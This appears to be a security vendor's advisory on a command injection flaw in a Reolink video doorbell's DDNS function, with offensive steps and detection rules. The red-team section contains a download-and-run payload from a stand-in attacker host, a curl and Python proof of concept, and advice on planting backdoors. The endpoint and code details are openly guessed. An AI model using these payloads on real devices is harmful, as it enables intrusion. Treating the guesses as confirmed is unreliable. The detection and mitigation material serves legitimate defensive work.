CVE-2025-55637

Executive Summary

CVE-2025-55637 is a critical command injection vulnerability discovered in the Reolink Smart 2K+ Plug-in Wi-Fi Video Doorbell with Chime, specifically in firmware version 3.0.0.4662_2503122283. The flaw resides in the setddns_pip_system() function, which improperly sanitizes user-supplied input before passing it to a system shell. An attacker with network access to the device can exploit this to execute arbitrary operating system commands, potentially leading to full device compromise, lateral movement within the local network, and unauthorized access to video feeds. No public proof-of-concept (PoC) or patch is currently available, making this a high-priority zero-day for affected users.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which likely indicates incomplete scoring data from the NVD. Based on the nature of the vulnerability (command injection in an IoT device), a realistic CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – Requires some level of authenticated access or ability to reach the vulnerable function.
• User Interaction (UI): None (N) – No user action needed.
• Scope (S): Unchanged (U) – The vulnerable component is the device itself.
• Confidentiality (C): High (H) – Full device compromise can expose video feeds and credentials.
• Integrity (I): High (H) – Attacker can modify device configuration or firmware.
• Availability (A): High (H) – Attacker can render the device inoperable.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Estimated Score: 8.8 (High)

Threat Level: Critical – Due to the lack of a patch and the potential for full device takeover, this vulnerability poses a significant risk to home and small business security systems.

Deep Dive & Mechanics

The vulnerability is a classic command injection flaw in the setddns_pip_system() function. This function is likely part of the device's DDNS (Dynamic DNS) configuration module, which allows users to set up a dynamic hostname for remote access. The function probably constructs a system command string by concatenating user-controlled parameters (e.g., DDNS provider, hostname, username, password) without proper sanitization.

Attack Flow:

1. An attacker sends a crafted HTTP request to the device's web interface or API endpoint that triggers the setddns_pip_system() function.
2. The attacker injects shell metacharacters (e.g., ;, |, &&, `) into one of the DDNS parameters.
3. The device executes the malicious command with the privileges of the web server (often root on embedded devices).
4. The attacker gains a reverse shell, executes arbitrary commands, or exfiltrates data.

Example Injection:
If the vulnerable parameter is ddns_hostname, an attacker might send:
myhost.example.com; wget http://attacker.com/malware -O /tmp/malware && chmod +x /tmp/malware && /tmp/malware

Vulnerable vs. Patched Code

Since no patch is available, we can only hypothesize the vulnerable code pattern and the required fix.

Vulnerable Code (C-like pseudocode):

void setddns_pip_system(char *hostname, char *username, char *password) {
    char cmd[512];
    snprintf(cmd, sizeof(cmd), "ddns_update --host %s --user %s --pass %s", hostname, username, password);
    system(cmd);
}

Patched Code (Recommended):

void setddns_pip_system(char *hostname, char *username, char *password) {
    // Validate and sanitize inputs
    if (!is_valid_hostname(hostname) || !is_valid_username(username) || !is_valid_password(password)) {
        log_error("Invalid DDNS parameters");
        return;
    }
    // Use execve with separate arguments to avoid shell injection
    char *args[] = {"ddns_update", "--host", hostname, "--user", username, "--pass", password, NULL};
    execve("/usr/bin/ddns_update", args, NULL);
}

The key difference is using execve (or similar) instead of system(), which prevents shell interpretation of metacharacters.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Environment:

• Reolink Smart 2K+ Doorbell with firmware v3.0.0.4662_2503122283
• Attacker machine (Kali Linux) on the same network
• Network access to the device's web interface (default port 80 or 443)

Exploitation Steps:

1. Reconnaissance: Scan the network for the device (e.g., using nmap -p 80,443 192.168.1.0/24).
2. Identify Endpoint: Use a web proxy (Burp Suite) to intercept traffic when configuring DDNS settings. Look for requests to /cgi-bin/api/setddns_pip_system or similar.
3. Craft Payload: Inject a command into a parameter. Example using curl:

   curl -X POST "http://192.168.1.100/cgi-bin/api/setddns_pip_system" \
   -d "hostname=test.example.com;id&username=admin&password=admin123"
   

4. Verify Execution: Check if the output of id is returned in the response or if a reverse shell is established.
5. Escalate: If successful, deploy a persistent backdoor (e.g., add SSH key, install a reverse shell script).

PoC Script (Python):

import requests

target = "http://192.168.1.100/cgi-bin/api/setddns_pip_system"
payload = "test.example.com;id"
data = {"hostname": payload, "username": "admin", "password": "admin123"}

response = requests.post(target, data=data)
print(response.text)

Blue Team (Defensive)

Detection & Response:

1. Network Monitoring: Look for anomalous HTTP POST requests to /cgi-bin/api/setddns_pip_system containing shell metacharacters (;, |, &&, `).
2. Log Analysis: Check device logs for unexpected command execution or errors in the DDNS module.
3. Honeypot: Deploy a decoy Reolink device to capture exploitation attempts.
4. Mitigation: If patching is not possible, block access to the vulnerable endpoint via a WAF or firewall rule:

   location /cgi-bin/api/setddns_pip_system {
       deny all;
   }
   

5. Isolation: Place the device on a separate VLAN with strict egress filtering.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP POST requests to /cgi-bin/api/setddns_pip_system with parameters containing shell metacharacters.
  • Outbound connections from the device to unknown IPs on ports 4444, 8080, or 53 (DNS tunneling).
  • Unusual DNS queries (e.g., long subdomains indicating data exfiltration).

• Host IOCs:

  • Unexpected processes running on the device (e.g., /tmp/malware, bash -i).
  • Modified system binaries or scripts in /usr/bin/ or /etc/init.d/.
  • New cron jobs or startup scripts added for persistence.

• File IOCs:

  • Suspicious files in /tmp/ (e.g., malware, reverse_shell.sh).
  • Modified configuration files in /etc/config/ (e.g., DDNS settings with injected commands).

Detection Engineering

YARA Rule

rule CVE_2025_55637_Reolink_Command_Injection {
    meta:
        description = "Detects command injection attempts targeting Reolink doorbell setddns_pip_system function"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-55637"
    strings:
        $injection1 = /setddns_pip_system.*[;&|`$]/
        $injection2 = /hostname=.*[;&|`$]/
        $injection3 = /username=.*[;&|`$]/
        $injection4 = /password=.*[;&|`$]/
    condition:
        any of ($injection*)
}

Sigma Rule

title: Reolink Doorbell Command Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to Reolink doorbell with command injection payloads
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/cgi-bin/api/setddns_pip_system'
        cs-uri-query|contains: 
            - ';'
            - '|'
            - '&&'
            - '`'
    condition: selection
falsepositives:
    - Legitimate use of special characters in passwords (rare)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (msg:"CVE-2025-55637 Reolink Doorbell Command Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/cgi-bin/api/setddns_pip_system"; http_uri; pcre:"/(?:;|\||&&|`)/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the Device: Place the Reolink doorbell on a separate VLAN with no direct internet access unless absolutely necessary.
2. Disable DDNS: If not required, disable the DDNS feature in the device settings.
3. Firewall Rules: Block inbound and outbound traffic to/from the device except for essential services (e.g., NVR, local app).
4. Monitor Logs: Enable and review device logs for any suspicious activity.

Long-Term Fix:

• Vendor Patch: Await an official firmware update from Reolink. Contact their support to expedite.
• Firmware Hardening: If possible, replace the vulnerable firmware with a custom build that uses safe system calls (e.g., execve instead of system).
• Replace Device: If no patch is forthcoming, consider replacing the doorbell with a more secure alternative.

Workaround (if patching is impossible):

• Use a reverse proxy (e.g., Nginx) in front of the device to filter malicious requests:

  location /cgi-bin/api/setddns_pip_system {
      if ($args ~* "[;&|`$]") {
          return 403;
      }
      proxy_pass http://192.168.1.100;
  }
  

Valters IT